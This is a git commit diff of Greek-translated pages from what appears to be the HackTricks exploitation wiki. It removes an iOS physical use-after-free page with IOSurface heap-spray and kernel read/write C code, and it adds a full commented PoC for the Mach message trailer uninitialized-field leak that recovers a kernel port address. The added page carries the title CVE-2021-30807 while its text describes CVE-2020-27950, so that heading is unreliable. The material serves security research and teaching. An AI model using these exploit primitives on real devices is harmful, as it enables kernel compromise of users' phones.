Translated ['src/network-services-pentesting/pentesting-web/sitecore/REA

This commit is contained in:
Translator 2025-09-26 01:13:20 +00:00
parent 6286ad2cb7
commit 6e36ce60f6
26 changed files with 3089 additions and 1732 deletions

View File

@ -768,7 +768,7 @@
- [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
- [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
- [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
- [ROP - Return Oriented Programing](binary-exploitation/rop-return-oriented-programing/README.md)
- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md)
- [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
- [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
- [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
@ -838,7 +838,7 @@
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
- [iOS Exploiting](binary-exploitation/ios-exploiting.md)
- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
# 🤖 AI
- [AI Security](AI/README.md)

View File

@ -1,207 +0,0 @@
# iOS Exploiting
{{#include ../banners/hacktricks-training.md}}
## Physical use-after-free
Αυτό είναι μια περίληψη από την ανάρτηση από [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) επιπλέον περισσότερες πληροφορίες σχετικά με την εκμετάλλευση χρησιμοποιώντας αυτή την τεχνική μπορούν να βρεθούν στο [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
Ο **εικονικός χώρος διευθύνσεων μνήμης** για τις διεργασίες χρήστη στο iOS εκτείνεται από **0x0 έως 0x8000000000**. Ωστόσο, αυτές οι διευθύνσεις δεν αντιστοιχούν άμεσα σε φυσική μνήμη. Αντίθετα, ο ** πυρήνας** χρησιμοποιεί **πίνακες σελίδων** για να μεταφράσει τις εικονικές διευθύνσεις σε πραγματικές **φυσικές διευθύνσεις**.
#### Levels of Page Tables in iOS
Οι πίνακες σελίδων οργανώνονται ιεραρχικά σε τρία επίπεδα:
1. **L1 Page Table (Επίπεδο 1)**:
* Κάθε εγγραφή εδώ αντιπροσωπεύει ένα μεγάλο εύρος εικονικής μνήμης.
* Καλύπτει **0x1000000000 bytes****256 GB**) εικονικής μνήμης.
2. **L2 Page Table (Επίπεδο 2)**:
* Μια εγγραφή εδώ αντιπροσωπεύει μια μικρότερη περιοχή εικονικής μνήμης, συγκεκριμένα **0x2000000 bytes** (32 MB).
* Μια εγγραφή L1 μπορεί να δείχνει σε έναν πίνακα L2 αν δεν μπορεί να αντιστοιχίσει ολόκληρη την περιοχή μόνη της.
3. **L3 Page Table (Επίπεδο 3)**:
* Αυτό είναι το πιο λεπτομερές επίπεδο, όπου κάθε εγγραφή αντιστοιχεί σε μια μεμονωμένη **4 KB** σελίδα μνήμης.
* Μια εγγραφή L2 μπορεί να δείχνει σε έναν πίνακα L3 αν χρειάζεται πιο λεπτομερής έλεγχος.
#### Mapping Virtual to Physical Memory
* **Άμεση Αντιστοίχιση (Block Mapping)**:
* Ορισμένες εγγραφές σε έναν πίνακα σελίδων αντιστοιχούν άμεσα σε **ένα εύρος εικονικών διευθύνσεων** σε μια συνεχόμενη περιοχή φυσικών διευθύνσεων (όπως μια συντόμευση).
* **Δείκτης σε Παιδικό Πίνακα Σελίδων**:
* Αν χρειάζεται πιο λεπτομερής έλεγχος, μια εγγραφή σε ένα επίπεδο (π.χ., L1) μπορεί να δείχνει σε έναν **παιδικό πίνακα σελίδων** στο επόμενο επίπεδο (π.χ., L2).
#### Example: Mapping a Virtual Address
Ας πούμε ότι προσπαθείτε να αποκτήσετε πρόσβαση στη εικονική διεύθυνση **0x1000000000**:
1. **L1 Table**:
* Ο πυρήνας ελέγχει την εγγραφή του πίνακα L1 που αντιστοιχεί σε αυτή τη εικονική διεύθυνση. Αν έχει έναν **δείκτη σε έναν πίνακα L2**, πηγαίνει σε αυτόν τον πίνακα L2.
2. **L2 Table**:
* Ο πυρήνας ελέγχει τον πίνακα L2 για μια πιο λεπτομερή αντιστοίχιση. Αν αυτή η εγγραφή δείχνει σε έναν **πίνακα L3**, προχωρά εκεί.
3. **L3 Table**:
* Ο πυρήνας αναζητά την τελική εγγραφή L3, η οποία δείχνει στη **φυσική διεύθυνση** της πραγματικής σελίδας μνήμης.
#### Example of Address Mapping
Αν γράψετε τη φυσική διεύθυνση **0x800004000** στον πρώτο δείκτη του πίνακα L2, τότε:
* Οι εικονικές διευθύνσεις από **0x1000000000** έως **0x1002000000** αντιστοιχούν σε φυσικές διευθύνσεις από **0x800004000** έως **0x802004000**.
* Αυτό είναι μια **αντιστοίχιση μπλοκ** στο επίπεδο L2.
Εναλλακτικά, αν η εγγραφή L2 δείχνει σε έναν πίνακα L3:
* Κάθε σελίδα 4 KB στην εικονική περιοχή διευθύνσεων **0x1000000000 -> 0x1002000000** θα αντιστοιχίζεται από μεμονωμένες εγγραφές στον πίνακα L3.
### Physical use-after-free
Μια **φυσική χρήση μετά την απελευθέρωση** (UAF) συμβαίνει όταν:
1. Μια διεργασία **κατανέμει** κάποια μνήμη ως **αναγνώσιμη και εγγράψιμη**.
2. Οι **πίνακες σελίδων** ενημερώνονται για να αντιστοιχίσουν αυτή τη μνήμη σε μια συγκεκριμένη φυσική διεύθυνση που μπορεί να προσπελάσει η διεργασία.
3. Η διεργασία **απελευθερώνει** (ελευθερώνει) τη μνήμη.
4. Ωστόσο, λόγω ενός **σφάλματος**, ο πυρήνας **ξεχνά να αφαιρέσει την αντιστοίχιση** από τους πίνακες σελίδων, αν και σημειώνει τη σχετική φυσική μνήμη ως ελεύθερη.
5. Ο πυρήνας μπορεί στη συνέχεια να **ανακατανείμει αυτή τη "ελεύθερη" φυσική μνήμη** για άλλους σκοπούς, όπως **δεδομένα πυρήνα**.
6. Δεδομένου ότι η αντιστοίχιση δεν αφαιρέθηκε, η διεργασία μπορεί ακόμα να **διαβάσει και να γράψει** σε αυτή τη φυσική μνήμη.
Αυτό σημαίνει ότι η διεργασία μπορεί να έχει πρόσβαση σε **σελίδες μνήμης πυρήνα**, οι οποίες μπορεί να περιέχουν ευαίσθητα δεδομένα ή δομές, επιτρέποντας ενδεχομένως σε έναν επιτιθέμενο να **χειριστεί τη μνήμη του πυρήνα**.
### Exploitation Strategy: Heap Spray
Δεδομένου ότι ο επιτιθέμενος δεν μπορεί να ελέγξει ποιες συγκεκριμένες σελίδες πυρήνα θα ανατεθούν στη ελευθερωμένη μνήμη, χρησιμοποιούν μια τεχνική που ονομάζεται **heap spray**:
1. Ο επιτιθέμενος **δημιουργεί έναν μεγάλο αριθμό αντικειμένων IOSurface** στη μνήμη του πυρήνα.
2. Κάθε αντικείμενο IOSurface περιέχει μια **μαγική τιμή** σε ένα από τα πεδία του, διευκολύνοντας την αναγνώριση.
3. **Σαρώνονται οι ελευθερωμένες σελίδες** για να δουν αν κάποιο από αυτά τα αντικείμενα IOSurface προσγειώθηκε σε μια ελευθερωμένη σελίδα.
4. Όταν βρουν ένα αντικείμενο IOSurface σε μια ελευθερωμένη σελίδα, μπορούν να το χρησιμοποιήσουν για να **διαβάσουν και να γράψουν στη μνήμη του πυρήνα**.
Περισσότερες πληροφορίες σχετικά με αυτό στο [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
### Step-by-Step Heap Spray Process
1. **Spray IOSurface Objects**: Ο επιτιθέμενος δημιουργεί πολλά αντικείμενα IOSurface με μια ειδική ταυτότητα ("μαγική τιμή").
2. **Scan Freed Pages**: Ελέγχουν αν κάποιο από τα αντικείμενα έχει ανατεθεί σε μια ελευθερωμένη σελίδα.
3. **Read/Write Kernel Memory**: Με την παραποίηση πεδίων στο αντικείμενο IOSurface, αποκτούν τη δυνατότητα να εκτελούν **τυχαίες αναγνώσεις και εγγραφές** στη μνήμη του πυρήνα. Αυτό τους επιτρέπει:
* Να χρησιμοποιούν ένα πεδίο για να **διαβάσουν οποιαδήποτε 32-bit τιμή** στη μνήμη του πυρήνα.
* Να χρησιμοποιούν ένα άλλο πεδίο για να **γράψουν 64-bit τιμές**, επιτυγχάνοντας μια σταθερή **πρωτοβουλία ανάγνωσης/εγγραφής πυρήνα**.
Δημιουργήστε αντικείμενα IOSurface με τη μαγική τιμή IOSURFACE\_MAGIC για να τα αναζητήσετε αργότερα:
```c
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;
size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;
(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}
```
Αναζητήστε αντικείμενα **`IOSurface`** σε μία ελεύθερη φυσική σελίδα:
```c
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}
sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);
return 0;
}
```
### Επιτυχία Ανάγνωσης/Εγγραφής Kernel με IOSurface
Αφού αποκτήσουμε έλεγχο ενός αντικειμένου IOSurface στη μνήμη του kernel (χαρτογραφημένο σε μια ελεύθερη φυσική σελίδα προσβάσιμη από το userspace), μπορούμε να το χρησιμοποιήσουμε για **τυχαίες λειτουργίες ανάγνωσης και εγγραφής του kernel**.
**Κύρια Πεδία στο IOSurface**
Το αντικείμενο IOSurface έχει δύο κρίσιμα πεδία:
1. **Δείκτης Χρήσης**: Επιτρέπει μια **32-bit ανάγνωση**.
2. **Δείκτης Χρονοσήμανσης με Ευρετήριο**: Επιτρέπει μια **64-bit εγγραφή**.
Με την επαναγραφή αυτών των δεικτών, τους ανακατευθύνουμε σε τυχαίες διευθύνσεις στη μνήμη του kernel, επιτρέποντας δυνατότητες ανάγνωσης/εγγραφής.
#### 32-Bit Ανάγνωση Kernel
Για να εκτελέσουμε μια ανάγνωση:
1. Επαναγράψτε τον **δείκτη χρήσης** ώστε να δείχνει στη διεύθυνση στόχο μείον μια απόσταση 0x14 byte.
2. Χρησιμοποιήστε τη μέθοδο `get_use_count` για να διαβάσετε την τιμή σε αυτή τη διεύθυνση.
```c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}
uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}
```
#### 64-Bit Kernel Write
Για να εκτελέσετε μια εγγραφή:
1. Επαναγράψτε τον **δείκτη χρονοσήμανσης με δείκτη** στη στοχευμένη διεύθυνση.
2. Χρησιμοποιήστε τη μέθοδο `set_indexed_timestamp` για να γράψετε μια τιμή 64-bit.
```c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}
```
#### Ανακεφαλαίωση Ροής Εκμετάλλευσης
1. **Ενεργοποίηση Φυσικής Χρήσης-Μετά-Απελευθέρωση**: Οι ελεύθερες σελίδες είναι διαθέσιμες για επαναχρησιμοποίηση.
2. **Ψεκασμός Αντικειμένων IOSurface**: Κατανομή πολλών αντικειμένων IOSurface με μια μοναδική "μαγική τιμή" στη μνήμη του πυρήνα.
3. **Εντοπισμός Προσβάσιμου IOSurface**: Εντοπίστε ένα IOSurface σε μια απελευθερωμένη σελίδα που ελέγχετε.
4. **Κατάχρηση Χρήσης-Μετά-Απελευθέρωση**: Τροποποιήστε δείκτες στο αντικείμενο IOSurface για να επιτρέψετε αυθαίρετη **ανάγνωση/εγγραφή πυρήνα** μέσω μεθόδων IOSurface.
Με αυτές τις πρωτογενείς λειτουργίες, η εκμετάλλευση παρέχει ελεγχόμενες **32-bit αναγνώσεις** και **64-bit εγγραφές** στη μνήμη του πυρήνα. Επιπλέον βήματα jailbreak θα μπορούσαν να περιλαμβάνουν πιο σταθερές πρωτογενείς αναγνώσεις/εγγραφές, οι οποίες μπορεί να απαιτούν παράκαμψη πρόσθετων προστασιών (π.χ., PPL σε νεότερες συσκευές arm64e).
{{#include ../banners/hacktricks-training.md}}

View File

@ -0,0 +1,332 @@
# CVE-2021-30807: IOMobileFrameBuffer OOB
{{#include ../../banners/hacktricks-training.md}}
## Το σφάλμα
Υπάρχει [μια εξαιρετική εξήγηση του vuln εδώ](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), αλλά συνοπτικά:
Κάθε Mach message που λαμβάνει ο kernel τελειώνει με ένα **"trailer"**: ένα variable-length struct με metadata (seqno, sender token, audit token, context, access control data, labels...). Ο kernel **πάντα δεσμεύει το μεγαλύτερο δυνατό trailer** (MAX_TRAILER_SIZE) στο message buffer, αλλά **αρχικοποιεί μόνο κάποια πεδία**, και αργότερα **αποφασίζει ποιο μέγεθος trailer θα επιστρέψει** βάσει των **user-controlled receive options**.
Αυτά είναι τα trailer relevant structs:
```c
typedef struct{
mach_msg_trailer_type_t msgh_trailer_type;
mach_msg_trailer_size_t msgh_trailer_size;
} mach_msg_trailer_t;
typedef struct{
mach_msg_trailer_type_t msgh_trailer_type;
mach_msg_trailer_size_t msgh_trailer_size;
mach_port_seqno_t msgh_seqno;
security_token_t msgh_sender;
audit_token_t msgh_audit;
mach_port_context_t msgh_context;
int msgh_ad;
msg_labels_t msgh_labels;
} mach_msg_mac_trailer_t;
#define MACH_MSG_TRAILER_MINIMUM_SIZE sizeof(mach_msg_trailer_t)
typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))
```
Στη συνέχεια, όταν το trailer object δημιουργείται, μόνο ορισμένα πεδία αρχικοποιούνται, και το μέγιστο μέγεθος του trailer πάντα δεσμεύεται:
```c
trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size);
trailer->msgh_sender = current_thread()->task->sec_token;
trailer->msgh_audit = current_thread()->task->audit_token;
trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0;
trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
[...]
trailer->msgh_labels.sender = 0;
```
Τότε, για παράδειγμα, όταν προσπαθείτε να διαβάσετε ένα mach message χρησιμοποιώντας `mach_msg()` η συνάρτηση `ipc_kmsg_add_trailer()` καλείται για να προσαρτήσει το trailer στο μήνυμα. Εσωτερικά σε αυτή τη συνάρτηση υπολογίζεται το μέγεθος του trailer και συμπληρώνονται κάποια άλλα πεδία του trailer:
```c
if (!(option & MACH_RCV_TRAILER_MASK)) { [3]
return trailer->msgh_trailer_size;
}
trailer->msgh_seqno = seqno;
trailer->msgh_context = context;
trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option);
```
Η παράμετρος `option` ελέγχεται από τον χρήστη, οπότε **πρέπει να δοθεί μια τιμή που θα περάσει τον έλεγχο `if`.**
Για να περάσουμε αυτόν τον έλεγχο πρέπει να στείλουμε ένα έγκυρο υποστηριζόμενο `option`:
```c
#define MACH_RCV_TRAILER_NULL 0
#define MACH_RCV_TRAILER_SEQNO 1
#define MACH_RCV_TRAILER_SENDER 2
#define MACH_RCV_TRAILER_AUDIT 3
#define MACH_RCV_TRAILER_CTX 4
#define MACH_RCV_TRAILER_AV 7
#define MACH_RCV_TRAILER_LABELS 8
#define MACH_RCV_TRAILER_TYPE(x) (((x) & 0xf) << 28)
#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24)
#define MACH_RCV_TRAILER_MASK ((0xf << 24))
```
Όμως, επειδή το `MACH_RCV_TRAILER_MASK` απλώς ελέγχει bits, μπορούμε να περάσουμε οποιαδήποτε τιμή μεταξύ `0` και `8` ώστε να μην εισέλθουμε μέσα στο `if` statement.
Στη συνέχεια, συνεχίζοντας με τον κώδικα μπορείτε να βρείτε:
```c
if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) {
trailer->msgh_ad = 0;
}
/*
* The ipc_kmsg_t holds a reference to the label of a label
* handle, not the port. We must get a reference to the port
* and a send right to copyout to the receiver.
*/
if (option & MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_LABELS)) {
trailer->msgh_labels.sender = 0;
}
done:
#ifdef __arm64__
ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread));
#endif /* __arm64__ */
return trailer->msgh_trailer_size;
```
Όπως μπορείτε να δείτε, αν το `option` είναι μεγαλύτερο ή ίσο με `MACH_RCV_TRAILER_AV` (7), το πεδίο **`msgh_ad`** αρχικοποιείται σε `0`.
Αν προσέξατε, το **`msgh_ad`** ήταν ακόμη το μόνο πεδίο του trailer που δεν είχε αρχικοποιηθεί νωρίτερα και που θα μπορούσε να περιέχει ένα leak από προηγουμένως χρησιμοποιημένη μνήμη.
Έτσι, ο τρόπος για να αποφευχθεί η αρχικοποίησή του είναι να περάσετε μια τιμή `option` που είναι `5` ή `6`, ώστε να περνάει το πρώτο `if` check και να μην μπαίνει στο `if` που αρχικοποιεί το `msgh_ad`, επειδή οι τιμές `5` και `6` δεν έχουν κανέναν τύπο trailer συσχετισμένο.
### Basic PoC
Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), you have a PoC to just leak some random data.
### Leak Kernel Address PoC
Στο Inside the [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), υπάρχει ένα PoC για να leak μια kernel address. Για αυτό, ένα μήνυμα γεμάτο `mach_msg_port_descriptor_t` structs αποστέλλεται, επειδή το πεδίο `name` αυτής της δομής στο userland περιέχει ένα unsigned int, ενώ στο kernel το πεδίο `name` είναι pointer σε struct `ipc_port`. Συνεπώς, η αποστολή δεκάδων από αυτές τις δομές στο μήνυμα στο kernel θα σημαίνει ότι **προστίθενται αρκετές kernel addresses μέσα στο μήνυμα** ώστε κάποια από αυτές να μπορεί να leak.
Προστέθηκαν σχόλια για καλύτερη κατανόηση:
```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <mach/mach.h>
// Number of OOL port descriptors in the "big" message.
// This layout aims to fit messages into kalloc.1024 (empirically good on impacted builds).
#define LEAK_PORTS 50
// "Big" message: many descriptors → larger descriptor array in kmsg
typedef struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_port_descriptor_t sent_ports[LEAK_PORTS];
} message_big_t;
// "Small" message: fewer descriptors → leaves more room for the trailer
// to overlap where descriptor pointers used to be in the reused kalloc chunk.
typedef struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_port_descriptor_t sent_ports[LEAK_PORTS - 10];
} message_small_t;
int main(int argc, char *argv[]) {
mach_port_t port; // our local receive port (target of sends)
mach_port_t sent_port; // the port whose kernel address we want to leak
/*
* 1) Create a receive right and attach a send right so we can send to ourselves.
* This gives us predictable control over ipc_kmsg allocations when we send.
*/
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
/*
* 2) Create another receive port (sent_port). We'll reference this port
* in OOL descriptors so the kernel stores pointers to its ipc_port
* structure in the kmsg → those pointers are what we aim to leak.
*/
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &sent_port);
mach_port_insert_right(mach_task_self(), sent_port, sent_port, MACH_MSG_TYPE_MAKE_SEND);
printf("[*] Will get port %x address\n", sent_port);
message_big_t *big_message = NULL;
message_small_t *small_message = NULL;
// Compute userland sizes of our message structs
mach_msg_size_t big_size = (mach_msg_size_t)sizeof(*big_message);
mach_msg_size_t small_size = (mach_msg_size_t)sizeof(*small_message);
// Allocate user buffers for the two send messages (+MAX_TRAILER_SIZE for safety/margin)
big_message = malloc(big_size + MAX_TRAILER_SIZE);
small_message = malloc(small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);
/*
* 3) Prepare the "big" message:
* - Complex bit set (has descriptors)
* - 50 OOL port descriptors, all pointing to the same sent_port
* When you send a Mach message with port descriptors, the kernel “copy-ins” the userland port names (integers in your processs IPC space) into an in-kernel ipc_kmsg_t, and resolves each name to the actual kernel object (an ipc_port).
* Inside the kernel message, the header/descriptor area holds object pointers, not user names. On the way out (to the receiver), XNU “copy-outs” and converts those pointers back into names. This is explicitly documented in the copyout path: “the remote/local port fields contain port names instead of object pointers” (meaning they were pointers in-kernel).
*/
printf("[*] Creating first kalloc.1024 ipc_kmsg\n");
memset(big_message, 0, big_size + MAX_TRAILER_SIZE);
big_message->header.msgh_remote_port = port; // send to our receive right
big_message->header.msgh_size = big_size;
big_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0)
| MACH_MSGH_BITS_COMPLEX;
big_message->body.msgh_descriptor_count = LEAK_PORTS;
for (int i = 0; i < LEAK_PORTS; i++) {
big_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR;
big_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
big_message->sent_ports[i].name = sent_port; // repeated to fill array with pointers
}
/*
* 4) Prepare the "small" message:
* - Fewer descriptors (LEAK_PORTS-10) so that, when the kalloc.1024 chunk is reused,
* the trailer sits earlier and *overlaps* bytes where descriptor pointers lived.
*/
printf("[*] Creating second kalloc.1024 ipc_kmsg\n");
memset(small_message, 0, small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);
small_message->header.msgh_remote_port = port;
small_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0)
| MACH_MSGH_BITS_COMPLEX;
small_message->body.msgh_descriptor_count = LEAK_PORTS - 10;
for (int i = 0; i < LEAK_PORTS - 10; i++) {
small_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR;
small_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
small_message->sent_ports[i].name = sent_port;
}
/*
* 5) Receive buffer for reading back messages with trailers.
* We'll request a *max-size* trailer via MACH_RCV_TRAILER_ELEMENTS(5).
* On vulnerable kernels, field `msgh_ad` (in mac trailer) may be left uninitialized
* if the requested elements value is < MACH_RCV_TRAILER_AV, causing stale bytes to leak.
*/
uint8_t *buffer = malloc(big_size + MAX_TRAILER_SIZE);
mach_msg_mac_trailer_t *trailer; // interpret the tail as a "mac trailer" (format 0 / 64-bit variant internally)
uintptr_t sent_port_address = 0; // we'll build the 64-bit pointer from two 4-byte leaks
/*
* ---------- Exploitation sequence ----------
*
* Step A: Send the "big" message → allocate a kalloc.1024 ipc_kmsg that contains many
* kernel pointers (ipc_port*) in its descriptor array.
*/
printf("[*] Sending message 1\n");
mach_msg(&big_message->header,
MACH_SEND_MSG,
big_size, // send size
0, // no receive
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
/*
* Step B: Immediately receive/discard it with a zero-sized buffer.
* This frees the kalloc chunk without copying descriptors back,
* leaving the kernel pointers resident in freed memory (stale).
*/
printf("[*] Discarding message 1\n");
mach_msg((mach_msg_header_t *)0,
MACH_RCV_MSG, // try to receive
0, // send size 0
0, // recv size 0 (forces error/free path)
port,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
/*
* Step C: Reuse the same size-class with the "small" message (fewer descriptors).
* We slightly bump msgh_size by +4 so that when the kernel appends
* the trailer, the trailer's uninitialized field `msgh_ad` overlaps
* the low 4 bytes of a stale ipc_port* pointer from the prior message.
*/
small_message->header.msgh_size = small_size + sizeof(uint32_t); // +4 to shift overlap window
printf("[*] Sending message 2\n");
mach_msg(&small_message->header,
MACH_SEND_MSG,
small_size + sizeof(uint32_t),
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
/*
* Step D: Receive message 2 and request an invalid trailer elements value (5).
* - Bits 24..27 (MACH_RCV_TRAILER_MASK) are nonzero → the kernel computes a trailer.
* - Elements=5 doesn't match any valid enum → REQUESTED_TRAILER_SIZE(...) falls back to max size.
* - BUT init of certain fields (like `ad`) is guarded by >= MACH_RCV_TRAILER_AV (7),
* so with 5, `msgh_ad` remains uninitialized → stale bytes leak.
*/
memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
printf("[*] Reading back message 2\n");
mach_msg((mach_msg_header_t *)buffer,
MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), // core of CVE-2020-27950
0,
small_size + sizeof(uint32_t) + MAX_TRAILER_SIZE, // ensure room for max trailer
port,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
// Trailer begins right after the message body we sent (small_size + 4)
trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t));
// Leak low 32 bits from msgh_ad (stale data → expected to be the low dword of an ipc_port*)
sent_port_address |= (uint32_t)trailer->msgh_ad;
/*
* Step E: Repeat the A→D cycle but now shift by another +4 bytes.
* This moves the overlap window so `msgh_ad` captures the high 4 bytes.
*/
printf("[*] Sending message 3\n");
mach_msg(&big_message->header, MACH_SEND_MSG, big_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
printf("[*] Discarding message 3\n");
mach_msg((mach_msg_header_t *)0, MACH_RCV_MSG, 0, 0, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
// add another +4 to msgh_size → total +8 shift from the baseline
small_message->header.msgh_size = small_size + sizeof(uint32_t)*2;
printf("[*] Sending message 4\n");
mach_msg(&small_message->header,
MACH_SEND_MSG,
small_size + sizeof(uint32_t)*2,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
printf("[*] Reading back message 4\n");
mach_msg((mach_msg_header_t *)buffer,
MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5),
0,
small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE,
port,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t)*2);
// Combine the high 32 bits, reconstructing the full 64-bit kernel pointer
sent_port_address |= ((uintptr_t)trailer->msgh_ad) << 32;
printf("[+] Port %x has address %lX\n", sent_port, sent_port_address);
return 0;
}
```
## Αναφορές
- [Άρθρο στο blog της Synacktiv](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,297 @@
# CVE-2021-30807: IOMobileFrameBuffer OOB
{{#include ../../banners/hacktricks-training.md}}
## Το Σφάλμα
You have a [great explanation of the vuln here](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/), but as summary:
- Η ευάλωτη διαδρομή κώδικα είναι η **external method #83** του user client **IOMobileFramebuffer / AppleCLCD**: `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`. Αυτή η μέθοδος λαμβάνει μια παράμετρο που ελέγχεται από τον χρήστη, η οποία δεν ελέγχεται με κανέναν τρόπο και προωθείται στην επόμενη συνάρτηση ως **`scalar0`**.
